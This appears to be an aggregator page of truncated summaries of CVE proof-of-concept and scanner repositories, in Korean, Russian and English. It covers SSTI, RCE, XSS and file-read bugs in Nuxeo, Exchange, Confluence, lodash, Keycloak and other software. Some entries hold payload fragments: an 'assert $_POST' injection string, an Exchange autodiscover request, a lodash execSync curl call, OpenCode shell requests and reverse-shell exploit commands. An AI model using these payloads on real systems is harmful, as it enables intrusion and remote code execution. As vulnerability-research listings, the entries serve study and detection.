CVE-2018-16341

CVE-2018-16341 Nuxeo 인증 우회 원격 코드 실행 10.3 - SSTI를 이용한 CVE-2018-16341 상세 분석 영어 아님 : https://www.freebuf.com/vuls/193000.html https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/ 보안 권고 :...

CVE-2022-41040

CVE-2022-41040 Шаблон nuclei для CVE-2022-41040 Не проверено! Использование git clone https://github.com/numanturle/CVE-2022-41040 cd CVE-2022-41040 nuclei -u https://target -t owa.yaml GET /autodiscover/[email protected]/BACKENDAPI?&Email=autodiscover/autodiscover.json%[email protected]...

phpcms-2008-CVE-2018-19127

phpcms-2008-CVE-2018-19127 Недавно мы обнаружили уязвимость в /type.php исходного кода phpcms 2008. Когда злоумышленники отправляют специально сформированные запросы вида "/type.php?template=tag;@unlinkFILE;assert$POST1;//../rss", вредоносное содержимое в данном случае "@unlinkFILE;assert$POST1;"...

CVE-2026-77578

CVE-2026-77578 — Xibo CMS 임의 로컬 파일 읽기 개요 CVE-2026-77578은 Xibo CMS의 인증된 임의 로컬 파일 읽기Arbitrary Local File Read 취약점입니다. Admin 권한 또는 Module Templates 접근 권한 을 가진 인증된 사용자가 경로 기반 자산에 traversal 시퀀스를 포함한 조작된 XML 템플릿을 가져올 수 있습니다. 그런 다음 결과 자산을 module asset 엔드포인트를 통해 접근하면 Xibo가 참조된 로컬 파일의 내용을 반환하게 됩니다. 영향받는 버...

thymeleaf-check

thymeleaf-check ThymeleafCVE-2026-40477 / CVE-2026-41901 offline triage tool — zero dependencies, single jar, no network. Two CVSS 9.0 SSTI bypasses, with two fixed releases shipped within nine days. It first answers "which of these am I affected by," then answers the harder question: On my versi...

CVE-2026-18963

Keycloak Reset Path Finder 여러 프록시 접두사, 컨텍스트 경로, 영역 이름 및 경로 변형에서 노출된 Keycloak reset-credentials 엔드포인트를 발견하는 Nuclei 템플릿입니다. 요약 이 템플릿은 다음의 영향을 받는 환경 검증 중 관련될 수 있는 접근 가능한 비밀번호 재설정 흐름을 식별하는 데 도움을 줍니다: CVE-2026-18963 reset-credentials 흐름 우회를 통한 Keycloak 비인증 계정 탈취 공개된 Keycloak 이슈에 따르면, 이 취약점은 비인증 공격자가...

cve-2026-4257

CVE-2026-4257 이것은 Supsystic의 "Contact Form" Wordpress 플러그인 버전 1.7.36 및 이전 버전에서 발견된 서버 측 템플릿 인젝션SSTI 취약점인 CVE-2026-4257을 악용합니다. 이 취약점으로 인해 인증되지 않은 공격자가 원격 코드 실행을 달성할 수 있습니다. 이 취약점은 formsViewCfs 클래스의 generateHtml 함수에 존재하며, 이 함수는 적절한 유형의 Contact Form 필드 매개변수 중 하나를 통해 사용자 제어 입력을 받아들입니다. Ubuntu 24.04 ...

ransomware-simulator

랜섬웨어 시뮬레이터 NCC 랜섬웨어 시뮬레이터 NCC Group Plc가 오픈소스로 공개 - http://www.nccgroup.com/ Donato Ferrante 개발, donato dot ferrante at nccgroup dot trust https://www.github.com/nccgroup/ransomware-simulator AGPL 라이선스로 배포됨. 자세한 내용은 LICENSE 참조. 보고서 템플릿 활성화 Word 보고서 템플릿을 extra\template\nccreporttemplate.docx 에서 최종...

html/template: golang: Go html/template: Cross-Site Scripting via pathological input

A flaw was found in the html/template component of Go golang. Pathological inputs could prematurely close an unescaped forward slash '/', allowing an attacker to inject arbitrary content. This could lead to Cross-Site Scripting XSS, where malicious scripts are executed in a user's browser,...

CVE-2023-22527

CVE-2023-22527 - Уязвимость RCE удаленное выполнение кода в Confluence Data Center и Confluence Server PoC Обнаружение nuclei -v -t /path/to/template.yam; -u http://ip:port/ Эксплуатация python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...

CVE-2026-4800-POC

CVE-2026-4800-POC 보안 권고 https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc POC const = require'lodash'; Object.prototype.imports = 'x=process.getBuiltinModule"childprocess".execSync"curl https://example.com"':undefined .template'', ; 흐름 기존 프로토타입 오염 취약점을 사용하여 공격자가 제어하는 속성으로...

CVE-2024-40111-Exploit

CVE-2024-40111: Automad 2.0.0-alpha.4의 저장형 크로스 사이트 스크립팅XSS 익스플로잇 세부 정보 익스플로잇 제목 : Automad 2.0.0-alpha.4의 저장형 크로스 사이트 스크립팅XSS 날짜 : 2024-06-20 익스플로잇 작성자 : Jerry Thomas w3bn00b3r 공급업체 홈페이지 : Automad 소프트웨어 링크 : Automad GitHub 저장소 카테고리 : 웹 애플리케이션 플랫 파일 CMS 버전 : 2.0.0-alpha.4 테스트 환경 : Docker 버전 26.1.4,...

CVE-2025-32463

CVE-2025-32463 - 설정 및 실행 가이드 악성 익스플로잇을 Nuclei 템플릿으로 포팅하여 비침습적 취약점 스캔을 수행하면서도 근본적인 문제를 입증한 것은 이번이 처음입니다. 이 과정을 학습 목적으로 더 자세히 문서화했습니다. 제가 겪은 주요 어려움은 다음과 같습니다: 원래 익스플로잇이 수행했던 것처럼 루트 셸을 획득하지 않고도 권한 상승을 효과적으로 테스트할 수 있는 안전한 코드로 원본 익스플로잇 코드를 수정하는 방법. 코드 엔진을 사용할 때 Nuclei 템플릿 구문과 관련된 몇 가지 문제가 발생했습니다. 이런...

CVE-2026-33154

Dynaconf SSTI 취약점 보고서 요약 Dynaconf는 @Jinja 리졸버의 안전하지 않은 템플릿 평가로 인해 서버 측 템플릿 인젝션SSTI 에 취약합니다. jinja2 패키지가 설치된 경우, Dynaconf는 구성 값에 포함된 템플릿 표현식을 샌드박스 환경 없이 평가합니다. 공격자가 다음과 같은 구성 소스에 영향을 줄 수 있다면: 환경 변수 .env 파일 컨테이너 환경 구성 CI/CD 비밀 값 ...호스트 시스템에서 임의 OS 명령을 실행 할 수 있습니다. 또한 @Format 리졸버는 객체 그래프 탐색을 허용하여 민감...

CVE-2024-50603

CVE-2024-50603 CVE-2024-50603-nuclei-poc...

CVE-2026-22812

CVE-2026-22812 CVE-2026-22812 - 스캔을 위한 OpenCode 인증되지 않은 RCE Nuclei 템플릿. burp suite 요청 POST /session HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11; Linux x8664 Content-Type: application/json Content-Length: 2 POST /session/"id"/shell HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11;...

CVE-2026-22785

CVE-2026-22785 재현 튜토리얼 취약점 개요 CVE : CVE-2026-22785 영향 : orval = 7.18.0 CVSS : 9.3 CRITICAL 유형 : 코드 주입 취약점 원리 orval 예시 python cvetool.py shell whoami python cvetool.py shell "node --version" python cvetool.py shell dir 파일 스캔 python cvetool.py scan 3. 출력 설명 + CVE-2026-22785: Payload 주입 성공 + 주입 위치:...

CVE-2026-25731

Templite 엔진의 서버 사이드 템플릿 인젝션 SSTI 심각도: 높음 CVSS 7.8 영향을 받는 소프트웨어: calibre 패치 버전: 9.2.0 권고: GHSA-xrh9-w7qx-3gcc 요약 Calibre의 Templite 템플릿 엔진에서 발견된 서버 사이드 템플릿 인젝션SSTI 취약점으로 인해, 사용자가 --template-html 또는 --template-html-index 명령줄 옵션을 통해 악성 사용자 정의 템플릿 파일을 사용하여 전자책을 변환할 때 임의 코드 실행이 가능합니다. 세부 사항 Templite...

CVE-2022-41352

CVE-2022-41352 PoC Как работает этот метод обнаружения? Как указано в бюллетенях безопасности, проблема была обнаружена в Zimbra Collaboration ZCS 8.8.15 и 9.0. Шаблон проверяет следующие версии: - "8.8.15" - "9.0" Как запустить этот скрипт? 1. Скачайте Nuclei здесь 2. Скопируйте шаблон в свою...

CVE-2026-34724

🚨 CVE-2026-34724 - Zammad 7.0.1 - AI 에이전트를 통한 서버사이드 템플릿 인젝션SSTI → 원격 코드 실행RCE 📌 개요 Zammad는 널리 사용되는 오픈소스 웹 기반 헬프데스크 및 고객 지원 시스템입니다. CVE-2026-34724 는 새로운 AI 에이전트AI Agent 기능에서 발견된 서버사이드 템플릿 인젝션SSTI 취약점입니다. typeenrichmentdata 구성을 수정할 수 있는 인증된 관리자 가 악성 템플릿을 주입할 수 있으며, AI 에이전트가 해당 데이터를 처리할 때 완전한 원격 코드...